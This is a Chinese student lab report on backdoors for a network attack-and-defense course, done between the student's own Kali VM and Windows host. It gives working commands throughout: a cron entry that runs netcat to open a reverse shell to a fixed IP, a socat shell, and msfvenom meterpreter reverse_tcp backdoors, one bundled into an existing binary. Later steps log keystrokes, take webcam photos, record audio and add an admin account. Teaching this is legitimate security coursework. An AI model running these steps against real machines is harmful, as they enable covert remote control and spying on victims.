《网络与系统攻防技术》实验二 后门原理与实践

实验内容

  1. 使用netcat获取主机操作Shell,使用cron启动某项任务
  2. 使用socat获取主机操作Shell, 任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

实验要求

掌握后门原理及免杀技术并回答一下问题:

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    网上下载软件时捆绑的木马软件,浏览网页的弹窗广告附加后门

  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    Linux下通过cron将后门设置为所需的定时启动,windows下通过计划任务通过触发器来启动程序,也可以通过绑定在一些常用的可执行文件,或者是开机的自启动项上面,当运行后门所在文件时后门也会运行。

  3. Meterpreter有哪些给你映像深刻的功能?

    Meterpreter的功能非常强大,前人将后门生成的各项约束集成在Meterpreter中,当我们使用的 时候无需了解底层代码甚至原理,只需按照格式将载荷,ip,端口,输出格式等输入就可以得到自己想要的后门程序。 通过此次实验,我发现通过Meterpreter很轻易的实现一些之前我眼中很不可思议的操作。例如,拍照,截图,录音等等。

  4. 如何发现自己有系统有没有被安装后门?

    安装杀毒软件,打开防火墙,观察任务管理器有无异常启动。

实验过程

ps:本次实验要在关闭所有杀毒软件和防火墙的情况下进行。

任务一 使用netcat获取主机操作Shell,使用cron启动某项任务

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。

  1. 获取主机ip以及linux虚拟机ip
    windows:ipconfig

linux:ip addr

  1. 使用cron实现自启动
    Cron表达式的格式
    crontab -e :编辑增加一条定时任务
    {分钟} {小时} {日期} {月份} {周几}(* * * * *)

在kali虚拟机执行指令crontab -e,在文件的末尾添加* * * * * /bin/netcat 172.16.209.66 8086 -e /bin/sh(我们使用linux进行反弹连接)

添加成功后我们可以通过 crontab -l 来查看我们编辑后的结果

  1. 使用主机监听8086端口
    nc.exe -l -p 8086

成功获得kali的shell

任务二 在windows下实现任务计划启动,使用socat获取主机操作Shell

socat是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式

  1. 在计算机中的任务计划里新建任务,并如图所示编辑触发器,设置任务启动时间以及操作。

  1. 到达触发器所设置时间后,会有自动弹窗,在kali虚拟机中输入 socat - tcp:172.16.209.66:8086,成功获得windows主机的shell

任务三 使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。

Msfvenom命令总结大全

  1. –p (- -payload-options):添加载荷payload。
  2. –f (- -help-formats):输出文件格式。
  3. –e:编码免杀。
  1. 在linux虚拟机上生成后门文件

在kali虚拟机中输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=8086 -f exe > meter_backdoor.exe(确定后门针对的靶机为windows,连接方式为反弹式连接,本地ip为192.168.235.128,本地端口为8086,输出方式为exe形式,输出重定向为当前目录下的meter_backdoor.exe文件)

  1. 利用ncat将刚刚生成的后门文件由kali虚拟机传输到windows主机上

windows:nc.exe -l -p 8086 > meter_backdoor.exe
linux:nc 172.16.209.66 8086 < meter_backdoor.exe

可以看到即使在关闭防火墙的情况下,电脑依然自动弹出病毒威胁,如下操作即可

至此,后门文件成功生成并传输保存在Windows主机
2. 在linux主机,使用指令msfconsole进入msf的控制台

(此时出现奇怪的动画,卡通角色是正常情况~~)
3. 配置信息

使用指令 use exploit/multi/handler 进入监听模块
使用指令 Set payload windows/meterpreter/reverse_tcp 设置攻击载荷
使用指令 Set LHOST 192.168.235.128
使用指令 Set LPORT 8086
最后使用show options检查配置信息情况

  1. 输入exploit指令进入监听模式,并在windows主机上双击运行后门程序。

可以看到kali已成功获取windows主机的shell。

任务四 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

我们在任务三的基础上实现任务四

record_mic:获取音频
webcam_snap:控制主机摄像头拍照
screenshot:控制主机截屏
keyscan_start:记录主机键盘输入的过程
keyscan_dump:读取键盘输入的记录(有序)

运用getsystem指令尝试提权操作

提权失败(猜测:本身就是管理员权限,无法再提升)
根据《网站提权之MSF骚操作》成功创建了admin用户,并开启3389端口

任务五 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  1. 生成注入后门生成的文件
    我们注入的文件为pwn20192412为32位,因此使用 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=8086 -x /root/pwn20192412 -f elf >pwn (-p 确定载荷,靶机为linux系统,连接方式为反弹式tcp连接,-x 表示捆绑,-f 输出重定向)

  1. 输入msfconsole指令进入msf控制台,并进行相关配置

使用指令 use exploit/multi/handler 进入监听模块
使用指令 Set payload linux/x86/meterpreter/reverse_tcp 设置攻击载荷
使用指令 Set LHOST 192.168.235.128
使用指令 Set LPORT 8086
最后使用show options检查配置信息情况

  1. 输入exploit进行监听并同时运行生成的pwn文件

成功获取shell

问题及解决方案

问题1:Netcat执行监听端口时报“local listenfuxored: INVAL”(nc -l 8086)
解决方案:在Windows7及以上版本的操作系统中使用netcat监听端口时,会产生local listen fuxored:INVAL的报错信息,提示端口监听功能未能实现。应使用 nc -l -p 8086
问题2:尝试提权失败
解决方案:暂未解决,猜测:已经获取最高权限,无法提权
问题3:在进行实验五时,注入后门的程序运行正常,无法获得shell
解决方案:msfconsole配置问题,在配置msfconsole载荷时,应将windows修改为本机的类型,即linux/86
问题4:在关闭防火墙以后,linux给windows传输后门以后,弹出病毒警告,几分钟没处理,电脑把它当病毒删了。。。
解决方案:重来一遍,并及时将设置调整为允许在设备上
问题5:在设置任务计划时,将时间设的太近,当完成触发器编辑时超过了所设的时间,没有shell弹出
解决方案:手动点击运行或者将设置的时间调后3-5分钟

学习感悟、思考

在进行实验的之前要做好充分的准备,应当将相关知识点掌握清楚,将需要用到的工具提前准备好,相关命令如果不能背出来也应当熟悉,了解其含义,明确每一个ip,端口的含义,对应的是靶机还是控制机,哪些命令的端口必须保持一致等等。在实验过程中要保持认真,仔细,严谨,求实的态度,确保每一步的走稳,不出错,少犯错,减少自己给自己下的绊子。同时,在实验过程中遇到bug,或者不懂的知识,百度上90%以上都有,自己学的印象更深刻。网络上的隐私安全远比我们想象的更可怕,悄无声息,在不知不觉中就窃取权限,甚至可以截图,拍照,录音,以后一定要好好学习相关知识,提高相关方面的意识。